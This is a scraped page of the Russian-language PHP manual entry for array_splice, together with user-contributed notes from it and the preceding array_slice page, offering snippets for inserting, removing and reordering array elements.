based on worldclimb's arem(), here is a recursive array value removal tool that can work with multidimensional arrays.

function remove_from_array($array,$value){
    $clear = true;
    $holding=array();

    foreach($array as $k => $v){
        if (is_array($v)) {
            $holding [$k] = remove_from_array ($v, $value);
            }
        elseif ($value == $v) {
            $clear = false;
            }
        elseif($value != $v){
            $holding[$k]=$v; // removes an item by combing through the array in order and saving the good stuff
        }
    }
    if ($clear) return $holding; // only pass back the holding array if we didn't find the value
}
worldclimb at 99gmail99 dot com 21-Mar-2008 12:51
array_slice can be used to remove elements from an array but it's pretty simple to use a custom function.

One day array_remove() might become part of PHP and will likely be a reserved function name, hence the unobvious choice for this function's names.

<?
function arem($array,$value){
    $holding=array();
    foreach($array as $k => $v){
        if($value!=$v){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

function akrem($array,$key){
    $holding=array();
    foreach($array as $k => $v){
        if($key!=$k){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

$lunch = array('sandwich' => 'cheese', 'cookie'=>'oatmeal','drink' => 'tea','fruit' => 'apple');
echo '<pre>';
print_r($lunch);
$lunch=arem($lunch,'apple');
print_r($lunch);
$lunch=akrem($lunch,'sandwich');
print_r($lunch);
echo '</pre>';
?>

(remove 9's in email)
aexchecker at yahoo dot com 04-Oct-2007 08:39
<?php
/**
 * @desc
 * Combines two arrays by inserting one into the other at a given position then
 * returns the result.
 *
 * @since   2007/10/04
 * @version v0.7 2007/10/04 18:47:52
 * @author  AexChecker <AexChecker@yahoo.com>
 * @param   array $source
 * @param   array $destination
 * @param   int [optional] $offset
 * @param   int [optional] $length
 * @return  array
 */
function array_insert($source, $destination, $offset = NULL, $length = NULL) {
    if (!is_array($source) || empty($source)) {
        if (is_array($destination) && !empty($destination)) {
            return $destination;
        }
        return array();
    }
    if (is_null($offset)) {
        return array_merge($destination, $source);
    }
    $offset = var2int($offset);
    if (is_null($length)) {
        if ($offset === 0) {
            return array_merge($source, array_slice($destination, 1));
        }
        if ($offset === -1) {
            return array_merge(array_slice($destination, 0, -1), $source);
        }
        return array_merge(
            array_slice($destination, 0, $offset),
            $source,
            array_slice($destination, ++$offset)
        );
    }
    if ($offset === 0) {
        return array_merge($source, array_slice($destination, $length));
    }
    $destination_count = count($destination);
    $length = var2int($length);
    if ($offset > 0) {
        if ($destination_count - $offset < 1) {
            return array_merge($destination, $source);
        }
    } else{
        if (($t = $destination_count + $offset) < 1) {
            return array_merge($source, $destination);
        }
        $offset = $t;
    }
    if ($length > 0) {
        $length+= $offset;
    } elseif ($length < 0 && !($length * -1 < $destination_count)) {
        return $source;
    } else {
        $length = $offset;
    }
    return array_merge(
        array_slice($destination, 0, $offset),
        $source,
        array_slice($destination, $length)
    );
}
?>
aflavio at gmail dot com 01-Mar-2007 01:43
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval);$x++)
          {
              $i=array_search($val,$array_remval);
              if (is_numeric($i)) {
                  $array_temp  = array_slice($array_remval, 0, $i );
                $array_temp2 = array_slice($array_remval, $i+1, count($array_remval)-1 );
                $array_remval = array_merge($array_temp, $array_temp2);
              }
          }
          return $array_remval;
    }

$stack=Array('apple','banana','pear','apple', 'cherry', 'apple');
array_remval("apple", $stack);

//output: Array('banana','pear', 'cherry')
06-May-2006 12:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service 07-Apr-2006 02:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com 06-Sep-2005 09:53
<?php
    // Combines two arrays by inserting one into the other at a given position then returns the result
    function array_insert($src, $dest, $pos) {
        if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
        return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
    }
?>
bishop 08-Dec-2004 01:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
    if (! is_array($array)) {
        trigger_error('First parameter must be an array', E_USER_ERROR);
        return false;
    }

    if (! (is_array($keys) || is_scalar($keys))) {
        trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
        return false;
    }

    if (is_array($keys)) {
        // nothing to do
    } else if (is_scalar($keys)) {
        $keys = array ($keys);
    }

    $resultArray = array ();
    foreach ($keys as $key) {
        if (is_scalar($key)) {
            if (array_key_exists($key, $array)) {
                $resultArray[$key] = $array[$key];
                unset($array[$key]);
            }
        } else {
            trigger_error('Supplied key is not scalar', E_USER_ERROR);
            return false;
        }
    }

    return $resultArray;
}

?>
developer at i-space dot org 03-Feb-2002 08:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.


Удаляет часть массива и заменяет её чем-нибудь ещё

  • « array_slice
  • array_sum »
  • PHP Manual
  • Функции для работы с массивами
  • Удаляет часть массива и заменяет её чем-нибудь ещё

array_splice

(PHP 4, PHP 5, PHP 7, PHP 8)

array_splice — Удаляет часть массива и заменяет её чем-нибудь ещё

Описание

array_splice(
array &$array,
int $offset,
?int $length = null,
mixed $replacement = []
): array

Удаляет length элементов, расположенных на расстоянии offset из массива array, и заменяет их элементами массива replacement, если он передан в качестве параметра.

Замечание:

Обратите внимание, что числовые ключи в массиве array не сохраняются.

Замечание: Если параметр replacement не является массивом, он будет преобразован к нему (то есть (array) $parameter). Это может привести к неожиданным результатам при использовании объекта или null в качестве replacement.

Список параметров

array

Входной массив.

offset

Если параметр offset положительный, будут удалены элементы, находящиеся на расстоянии offset от начала array.

Если offset отрицательный, будут удалены элементы, находящиеся на расстоянии offset от конца array.

length

Если параметр length опущен, будут удалены все элементы начиная с позиции offset и до конца массива.

Если length указан и он положителен, то будет удалено именно столько элементов.

Если параметр length отрицателен, то конец удаляемой части элементов будет отстоять на это количество от конца массива.

Если length задан как 0, ничего удалено не будет.

Подсказка

Совет: для того, чтобы удалить все элементы массива, начиная с позиции offset до конца массива, в то время как указан параметр replacement, используйте count($input) в качестве параметра length.

replacement

Если передан массив replacement в качестве аргумента, тогда удалённые элементы будут заменены элементами этого массива.

Если параметры offset и length таковы, что из исходного массива не будет ничего удалено, тогда элементы массива replacement будут вставлены на позицию offset.

Замечание:

Обратите внимание, что ключи массива replacement не сохраняются.

Совет: если replacement является просто одним элементом, нет необходимости заключать его в array() или квадратные скобки, если только этот элемент сам не является массивом, объектом или null.

Возвращаемые значения

Возвращает массив, содержащий удалённые элементы.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Примеры использования array_splice()

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
var_dump($input);
?>

Результат выполнения приведённого примера:

array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(5) "green"
}
array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(6) "yellow"
}
array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(6) "orange"
}
array(5) {
  [0]=>
  string(3) "red"
  [1]=>
  string(5) "green"
  [2]=>
  string(4) "blue"
  [3]=>
  string(5) "black"
  [4]=>
  string(6) "maroon"
}

Пример #2 Примеры использования array_splice()

Следующие выражения эквивалентны:

<?php

// добавить два элемента в $input
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));

// удалить последний элемент из $input
array_pop($input);
array_splice($input, -1);

// удалить первый элемент из $input
array_shift($input);
array_splice($input, 0, 1);

// добавить элемент в начало $input
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));

// заменить в $input элемент с индексом $x на значение $y
$input[$x] = $y; // для массивов, где ключ равен смещению
array_splice($input, $x, 1, $y);
?>

Смотрите также

  • array_merge() - Сливает один или несколько массивов
  • array_slice() - Выбирает срез массива
  • unset() - Удаляет переменную

User Contributed Notes

Anonymous 17-Apr-2021 10:03
the following:

        $input = [[5=>"richard=red"], [15=>"york=yellow"], [25=>"gave=green"], [30=>"battle=blue"], [35=>"in=indigo"], [40=>"vain=violet"]];
        array_splice($input, 2, 0, [[10=>"of=orange"]]);
        var_dump($input);

gives this:

array (size=7)
  0 =>
    array (size=1)
      5 => string 'richard=red' (length=11)
  1 =>
    array (size=1)
      15 => string 'york=yellow' (length=11)
  2 =>
    array (size=1)
      10 => string 'of=orange' (length=9)
  3 =>
    array (size=1)
      25 => string 'gave=green' (length=10)
  4 =>
    array (size=1)
      30 => string 'battle=blue' (length=11)
  5 =>
    array (size=1)
      35 => string 'in=indigo' (length=9)
  6 =>
    array (size=1)
      40 => string 'vain=violet' (length=11)
Hayley Watson 26-Sep-2017 12:31
For an analogous function that works on strings rather than arrays, see substr_replace.
gilberg_vrn 25-Apr-2016 02:45
array_splice with preserve keys

<?php
function array_splice_preserve_keys(&$array, $from, $length = null) {
    $result = array_slice($array, $from, $length, true);
    $array = array_slice($array, $from + $length, null, true);

    return $result;
}
?>

Example:

<?php
$array = [
    1 => 'a',
    2 => 'b',
    26 => 'z'
];

var_dump(array_splice_preserve_keys($array, 0, 1), $array);
/**
 * array(1) {
 *  [1]=>
 *   string(1) "a"
 *  }
 * array(2) {
 *  [2]=>
 *  string(1) "b"
 *  [26]=>
 *  string(1) "z"
 * }
 */
?>
vitospericolato at gmail dot com 08-Apr-2016 08:54
To remove elements from an array, based on array values:

<?php
$i_to_remove=array();

foreach($array_to_prune as $i=>$value){
  if(cond_to_delete($value)) $i_to_remove[]=$i;
}
foreach($i_to_remove as $j=>$i)
  array_splice($array_to_prune,$i-$j,1);

?>
StanE 22-Oct-2015 08:50
array_splice() does not preserve numeric keys. The function posted by "weikard at gmx dot de" won't do that either because array_merge() does not preserve numeric keys either.

Use following function instead:

<?php
function arrayInsert($array, $position, $insertArray)
{
    $ret = [];

    if ($position == count($array)) {
        $ret = $array + $insertArray;
    }
    else {
        $i = 0;
        foreach ($array as $key => $value) {
            if ($position == $i++) {
                $ret += $insertArray;
            }

            $ret[$key] = $value;
        }
    }

    return $ret;
}
?>

Example:
<?php
$a = [
    295 => "Hello",
    58 => "world",
];

$a = arrayInsert($a, 1, [123 => "little"]);

/*
Output:
Array
(
    [295] => Hello
    [123] => little
    [58] => world
)
*/
?>

It preserves numeric keys. Note that the function does not use a reference to the original array but returns a new array (I see absolutely no reason how the performance would be increased by using a reference when modifying an array through PHP script code).
guillaume dot lacourt at gmail dot com 20-Jun-2015 01:30
Using array_splice when you traverse array with internal pointer's function reset the array, eg:

<?php
end($arrOfData);
$last = key($arrOfData);
reset($arrOfData);
while (($data = current($arrOfData))) {
  if ($last === key($arrOfData)) {
    array_splice($arrOfData, $last, 1);
   // current($arrOfData) => first value of $arrOfData
  }
}
Anonymous 11-Sep-2014 01:07
<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>
antrik 09-Jul-2014 07:20
Prompted by dire need, and inspired by some of the existing notes, I came up with this:

/* Like array_splice(), but preserves the key(s) of the replacement array. */
function array_splice_assoc(&$input, $offset, $length = 0, $replacement = array()) {
  $tail = array_splice($input, $offset);
  $extracted = array_splice($tail, 0, $length);
  $input += $replacement + $tail;
  return $extracted;
};

Apart from preserving the keys, it behaves just like the regular array_splice() for all cases I could think of.

So for example the regular array_splice()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

will give:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [0] => bar
    [1] => baz
    [f] => 6
)

But with array_splice_assoc()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice_assoc($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

we get:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [foo1] => bar
    [foo2] => baz
    [f] => 6
)

A typical use case would be replacing an element identified by a particular key, which we could achieve with:

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
array_splice_assoc($input, array_search('d', array_keys($input)), 1, array('foo' => 'bar'));
print_r($input);

giving us:

Array
(
    [a] => 1
    [b] => 2
    [c] => 3
    [foo] => bar
    [e] => 5
    [f] => 6
)
thom 02-Jan-2014 02:31
Maybe it will help someone else: I was trying to strip off the last part of an array using this section, more or less as follows:

<?php array_splice($array, $offset); ?>

Now it could occur in my code that <?php $offset === 0 ?>, in which case the array is returned as-is and not, as you might expect, an empty array because everything is stripped off. Obviously it is not really useful anyway to "strip off everything", but I was reminded of that the hard way and this may spare someone some time, hopefully.
royanee at yahoo dot com 25-Jan-2013 05:03
When trying to splice an associative array into another, array_splice is missing two key ingredients:
  - a string key for identifying the offset
  - the ability to preserve keys in the replacement array

This is primarily useful when you want to replace an item in an array with another item, but want to maintain the ordering of the array without rebuilding the array one entry at a time.

<?php
function array_splice_assoc(&$input, $offset, $length, $replacement) {
        $replacement = (array) $replacement;
        $key_indices = array_flip(array_keys($input));
        if (isset($input[$offset]) && is_string($offset)) {
                $offset = $key_indices[$offset];
        }
        if (isset($input[$length]) && is_string($length)) {
                $length = $key_indices[$length] - $offset;
        }

        $input = array_slice($input, 0, $offset, TRUE)
                + $replacement
                + array_slice($input, $offset + $length, NULL, TRUE);
}

$fruit = array(
        'orange' => 'orange',
        'lemon' => 'yellow',
        'lime' => 'green',
        'grape' => 'purple',
        'cherry' => 'red',
);

// Replace lemon and lime with apple
array_splice_assoc($fruit, 'lemon', 'grape', array('apple' => 'red'));

// Replace cherry with strawberry
array_splice_assoc($fruit, 'cherry', 1, array('strawberry' => 'red'));
?>

Note: I have not tested this with negative offsets and lengths.
mrsohailkhan at gmail dot com 21-Oct-2011 12:34
array_splice, split an array into 2 arrays. The returned arrays is the 2nd argument actually and the used array e.g $input here contains the 1st argument of array, e.g

<?php
$input = array("red", "green", "blue", "yellow");
print_r(array_splice($input, 3)); // Array ( [0] => yellow )
print_r($input); //Array ( [0] => red [1] => green [2] => blue )
?>

if you want to replace any array value do simple like that,

first search the array index you want to replace

<?php $index = array_search('green', $input);// index = 1 ?>

and then use it as according to the definition

<?php
array_splice($input, $index, 1, array('mygreeen')); //Array ( [0] => red [1] => mygreeen [2] => blue [3] => yellow )
?>

so here green is replaced by mygreen.

here 1 in array_splice above represent the number of items to be replaced. so here start at index '1' and replaced only one item which is 'green'
news_yodpeirs at thoftware dot de 20-Jul-2011 08:20
Sometimes you may want to insert one array into another and just work on with the resulting array. array_splice() doesn't support this, as the resulting array isn't the returned value but the first argument, which is changed by reference.

Therefore you may use the following function, which inserts array $ins in array $src at position $pos. $rep can be used if $ins shouldn't be just inserted, but should replace some existing elements (the number of elements to be replaced is given in $rep).

<?php
function array_insert($src,$ins,$pos,$rep=0) {
  array_splice($src,$pos,$rep,$ins);
  return($src);
}
?>
charette dot s at gmail 21-Jul-2010 08:26
If you want to append null values wrap them in an array:

<?php

    $a = array('Hey', 'hey', 'my', 'my');
    array_splice($a, 1, 0, null);
    print_r($a);

?>
Array
(
    [0] => Hey
    [1] => hey
    [2] => my
    [3] => my
)

<?php

    $b = array('Hey', 'hey', 'my', 'my');
    array_splice($b, 1, 0, array(null));
    print_r($b);

?>
Array
(
    [0] => Hey
    [1] =>
    [2] => hey
    [3] => my
    [4] => my
)
news_yodpeirs at thoftware dot de 01-Apr-2010 01:32
Splicing with NULL as replacement may result in unexpected behavior too. Typecasting NULL into an array results in an empty array (as "(array)NULL" equals "array()"). That means, instead of creating an element with value NULL just no new element ist created (just as if there was no replacement specified).

If you want the splicing to create a new element with value NULL you have to use "array(NULL)" instead of NULL.

You should expect this if you read the explanation carefully, but just as objects are considered as a special case for replacement, NULL should be too.

The explanation of replacement better should read: "If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL."

And the note better should be: "If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement."

jmtc
daniele centamore 02-Aug-2009 07:48
just useful functions to move an element using array_splice.

<?php

// info at danielecentamore dot com

// $input  (Array) - the array containing the element
// $index (int) - the index of the element you need to move

function moveUp($input,$index) {
      $new_array = $input;

       if((count($new_array)>$index) && ($index>0)){
                 array_splice($new_array, $index-1, 0, $input[$index]);
                 array_splice($new_array, $index+1, 1);
             }

       return $new_array;
}

function moveDown($input,$index) {
       $new_array = $input;

       if(count($new_array)>$index) {
                 array_splice($new_array, $index+2, 0, $input[$index]);
                 array_splice($new_array, $index, 1);
             }

       return $new_array;
 }

$input = array("red", "green", "blue", "yellow");

$newinput = moveUp($input, 2);
// $newinput is array("red", "blue", "green", "yellow")

$input = moveDown($newinput, 1);
// $input is array("red", "green", "blue", "yellow")

?>
strata_ranger at hotmail dot com 01-Jul-2009 11:53
Should you want a similar function for splicing strings together, here is a rough equivalent:

<?php
function str_splice($input, $offset, $length=null, $splice='')
{
  $input = (string)$input;
  $splice = (string)$splice;
  $count = strlen($input);

  // Offset handling (negative values measure from end of string)
  if ($offset<0) $offset = $count + $offset;

  // Length handling (positive values measure from $offset; negative, from end of string; omitted = end of string)
  if (is_null($length)) $length = $count;
  elseif ($length < 0)  $length = $count-$offset+$length;

  // Do the splice
  return substr($input, 0, $offset) . $splice . substr($input, $offset+$length);
}

$string = "The fox jumped over the lazy dog.";

// Outputs "The quick brown fox jumped over the lazy dog."
echo str_splice($string, 4, 0, "quick brown ");

?>

Obviously this is not for cases where all you need to do is a simple search-and-replace.
dead dot screamer at seznam dot cz 12-Feb-2009 05:28
I need <?php array_Splice()?> function, that use array keys instead of order (offset and length) because of associated arrays, and this is result:

<?php
/**
 *    first variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $end is index of slice end, if this is null, $replacement will be inserted (in the same way as original array_Slice())
 *indexes of $replacement are preserved in both examples
 */
function array_KSplice1(&$input, $start, $end=null, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;
    if($end!==null)
    {
        $end=array_Search($end,$keys,true);
        // if $end not found, exit
        if($end===false)
            return false;
        // if $end is before $start, exit
        if($end<$start)
            return false;
        // index to length
        $end-=$start-1;
    }

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$end,$rKeys);
        array_Splice($values,$start,$end,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$end);
        array_Splice($values,$start,$end);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

/**
 *    second variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $length is length of slice, what will be replaced, if is zero, $replacement will be inserted (in the same way as original array_Slice())
 */
function array_KSplice2(&$input, $start, $length=0, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$length,$rKeys);
        array_Splice($values,$start,$length,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$length);
        array_Splice($values,$start,$length);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

$array=range(1,10);
var_Dump(array_KSplice1($array,3,3,array(100=>101,102,103,104)));

$array=range(1,10);
var_Dump(array_KSplice2($array,3,3,array(100=>101,102,103,104)));

?>

Both examples output:
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [100]=>
  int(101)
  [101]=>
  int(102)
  [102]=>
  int(103)
  [103]=>
  int(104)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
}
madmax at max-worlds dot net 23-Sep-2008 06:23
Note:  If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object replacement .

Example :

<?php
class A()
{
    private $a;
    private $b;
    public function __construct()
    {
        $this->a = "foo";
        $this->b = "bar";
    }
}

$array = array();
array_splice($array, 0, 0, new A());
print_r($array);
?>

Outputs :

Array : Array
{
    [0] => foo
    [1] => bar
}

Solution : Enforce the array() on the object.

<?php
array_splice($array, 0, 0, array(new Object());
?>

Source : http://bugs.php.net/bug.php?id=44485
loushou - life dot 42 at gmail dot com 27-Jul-2008 04:39
i miss posted the actual function...
here is the real one lol

<?php

function q_sort(&$Info, $Index, $Left, $Right)
{
  echo "memory usage <b>".memory_get_usage()."</b><br/>\n";
  $L_hold = $Left;
  $R_hold = $Right;
  $Pivot = $Left;
  $PivotValue = $Info[$Left];
  while ($Left < $Right)
  {
    while (($Info[$Right][$Index] >= $PivotValue[$Index]) && ($Left < $Right))
      $Right--;
    if ($Left != $Right)
    {
      $Info[$Left] = $Info[$Right];
      $Left++;
    }
    while (($Info[$Left][$Index] <= $PivotValue[$Index]) && ($Left < $Right))
      $Left++;
    if ($Left != $Right)
    {
      $Info[$Right] = $Info[$Left];
      $Right--;
    }
  }
  $Info[$Left] = $PivotValue;
  $Pivot = $Left;
  $Left = $L_hold;
  $Right = $R_hold;
  if ($Left < $Pivot)
    q_sort($Info, $Index, $Left, $Pivot-1);
  if ($Right > $Pivot)
    q_sort($Info, $Index, $Pivot+1, $Right);
}

?>
Francis 27-Apr-2008 12:27
Do you need to sort a 2D array on just one of its variables while trying to preserve somewhat the original order?

<?php

function sort_2d_array($array, $position, $order = "ASC"){
  if (!is_array($array)) return $array;
  if (count($array) < 2) return $array;
  $new = array($array[0]);
  for ($cnt = 1; $cnt <= count($array) - 1; $cnt++){
    $stop = 0;
    $splice = 0;
    for ($newcnt = 0; $newcnt <= count($new) - 1; $newcnt++){
      if ($stop == 0){
        if ($order == "ASC")
        if ($array[$cnt][$position] < $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for ASC
        if ($order == "DESC")
        if ($array[$cnt][$position] > $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for DESC
      } // stop vying for position
    } // cycle through new array to find position
    if ($stop == 0){
      $new[] = $array[$cnt];
    } else {
      array_splice($new, $splice, 0, array($array[$cnt]));
    } // splice into new array while keeping somewhat the original order
  } // cycle through original array
  return $new;
} // sort_2d_array

?>

Application Example: In-House Search Engine
Here we are trying to find the word apple in the website by sort of the most recent occurances first, but the number of occurances first.

We've already sorted the mysql output by the date desc and have counted the no of occurances and have placed those in an array for the final query.

I've used this function to further sort the occurances but somewhat keep the original mysql sort order.

Key
[0] Record number
     [0] Record ID
     [1] Source Table
     [2] No of Occurances Pinged

  ---------------------------

[0]
     [0] 24530
     [1] Blogs
     [2] 1

[1]
     [0] 24400
     [1] Blogs
     [2] 1

[2]
     [0] 24240
     [1] Blogs
     [2] 4

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

After running...

<?php
sort_2d_array($array, 2, "DESC");
?>

We have...

[0]
     [0] 24240
     [1] Blogs
     [2] 4

[1]
     [0] 24530
     [1] Blogs
     [2] 1

[2]
     [0] 24400
     [1] Blogs
     [2] 1

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

Might be useful to someone...
pauljamescampbell at gmail dot com 06-Feb-2008 06:46
Here's my own take on an array slice method that preserves keys from an associative array.

<?php
/**
 * Array slice function that preserves associative keys
 *
 * @function associativeArraySlice
 *
 * @param  Array  $array  Array to slice
 * @param  Integer  $start
 * @param  Integer  $end
 *
 * @return  Array
 */
function associativeArraySlice($array, $start, $end) {
    // Method param restrictions
    if($start < 0) $start = 0;
    if($end > count($array)) $end = count($array);

    // Process vars
    $new = Array();
    $i = 0;

    // Loop
    foreach($array as $key => $value) {
        if($i >= $start && $i < $end) {
            $new[$key] = $value;
        }
        $i++;
    }
    return($new);
}
?>
mip at ycn dot com 08-Mar-2007 05:37
Ever wounder what array_splice is doing to your references, then try this little script and see the output.

<?php

$a = "a";
$b = "b";
$c = "c";
$d = "d";
$arr = array();
$arr[] =& $a;
$arr[] =& $b;
$arr[] =& $c;
array_splice($arr,1,0,array($d));
$sec_arr = array();
$sec_arr[] =& $d;
array_splice($arr,1,0,$sec_arr);

$arr[0] = "test"; // should be $a
$arr[3] = "test2"; // should be $b
$arr[1] = "this be d?"; // should be $d
$arr[2] = "or this be d?"; // should be $d
var_dump($arr);
var_dump($a);
var_dump($b);
var_dump($d);
?>

The output will be (PHP 4.3.3):

array(5) {
  [0]=>
  &string(4) "test"
  [1]=>
  &string(10) "this be d?"
  [2]=>
  string(13) "or this be d?"
  [3]=>
  &string(5) "test2"
  [4]=>
  &string(1) "c"
}
string(4) "test"
string(5) "test2"
string(10) "this be d?"

So array_splice is reference safe, but you have to be careful about the generation of the replacement array.

have fun, cheers!
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
bdjumakov at gmail dot com 31-Aug-2006 12:11
Someone might find this function usefull. It just takes a given element from the array and moves it before given element into the same array.

<?php
function array_move($which, $where, $array)
{
    $tmp  = array_splice($array, $which, 1);
    array_splice($array, $where, 0, $tmp);
    return $array;
}
?>
Paul 11-Feb-2006 10:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
weikard at gmx dot de 15-Sep-2005 05:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

<?php
// [DATA]
$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

// [ACTION]
array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [0] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

<?php
// [ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [rowX] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
csaba at alum dot mit dot edu 13-Aug-2005 02:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

<?php
foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);
?>

Csaba Gabor from Vienna
randomdestination at gmail dot com 22-Jul-2005 01:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
    $keys = func_get_args();
    array_shift($keys);

    $out = array();
    foreach($keys as $key) {
        if(isset($in[$key]))
            $out[$key] = $in[$key];
        else
            $out[$key] = null;
        unset($in[$key]);
    }

    return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
    [d] => 4
)
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)

Hope this helps anyone!
gideon at i6developments dot com 17-Jul-2004 09:45
